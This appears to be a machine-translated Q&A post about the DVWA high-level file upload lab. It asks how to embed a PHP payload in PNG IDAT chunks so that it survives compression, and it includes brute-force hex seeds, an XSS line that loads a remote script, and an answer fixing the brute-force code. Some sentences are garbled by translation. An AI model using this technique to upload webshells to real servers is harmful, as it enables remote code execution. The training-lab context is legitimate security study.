Я изучаю DVWA о загрузке файлов с высокой уязвимостью. Я хочу обойти фильтр, который позволяет загружать только изображения, такие как JPG или PNG. Так что я планирую встраивать полезную нагрузку <?=phpinfo();
в файл изображения. После поиска я нашел эти отличные блоги:
Мне лень изучать алгоритм Deflate, искать генератор оболочек png и найти этот замечательный репозиторий:
После клонирования и запуска все работает отлично. Но полезная нагрузка для XSS Vuln выход здесь:
<SCRIPT SRC=//ABC.DE></SCRIPT>
Я хочу закончить цель DVWA. Это говорит
Выполните любую функцию PHP по вашему выбору в целевой системе (например, phpinfo () или system ()) благодаря этой уязвимости при загрузке файлов.
Итак, полезная нагрузка, которую я хочу: <?=phpinfo();?>
вставлять фрагменты IDAT в PNG, которые эта полезная нагрузка пережила после фильтров и сжатия в IDAT. В репозитории я нашел логику bruteforce (), описанную ранее в блоге f1n1te / idontplaydarts. Я копирую исходный код и пытаюсь сжать сжатие с помощью полезной нагрузки Вот но не на символьных символах. Исходя из источника / генератора, у меня есть 2 вопроса:
На 3 блогах & 1 репозиторий, который я нашел, использует эту полезную нагрузку для брутфорса Deflate:
7ff399281922111510691928276e6e5c1e151e51241f576e69b16375535b6f
— f1n1te
f399281922111510691928276e6e562e2c1e581b1f576e69b16375535b6f0e7f
— Адам
03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310
— idontplaydarts
0000f399281922111510691928276e6e5313241e1f576e69b16375535b6f0000
— Репозиторий
Как эти парни получают всю эту полезную нагрузку на брутфорс Сжать сжатие?
Брутфорс терпит неудачу, потому что он слишком короткий. Вам нужно 5 кусочков, а не только 4. Я пометил лишнюю цифру стрелкой.
0000f399281922111510691928276e6e....1f576e69b16375535b6f0000 your template
0000f399281922111510691928276e6e51121f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//PH></script>\3\3\0w\314\10)"0000f399281922111510691928276e6e576f5f576e69b16375535b6f0000 "x\234c`\370<SCRIPT SRC=//<?></script>\3\3\0w\314\10)"↑
Программа также содержит ошибку, которая не позволяет полностью исчерпать пространство поиска. Спецификатор формата для sprintf должен быть дополнен нулями, в противном случае строки hexdigit слишком короткие; другими словами, в оригинальной программе это должно быть %04x
не %x
,
Других решений пока нет …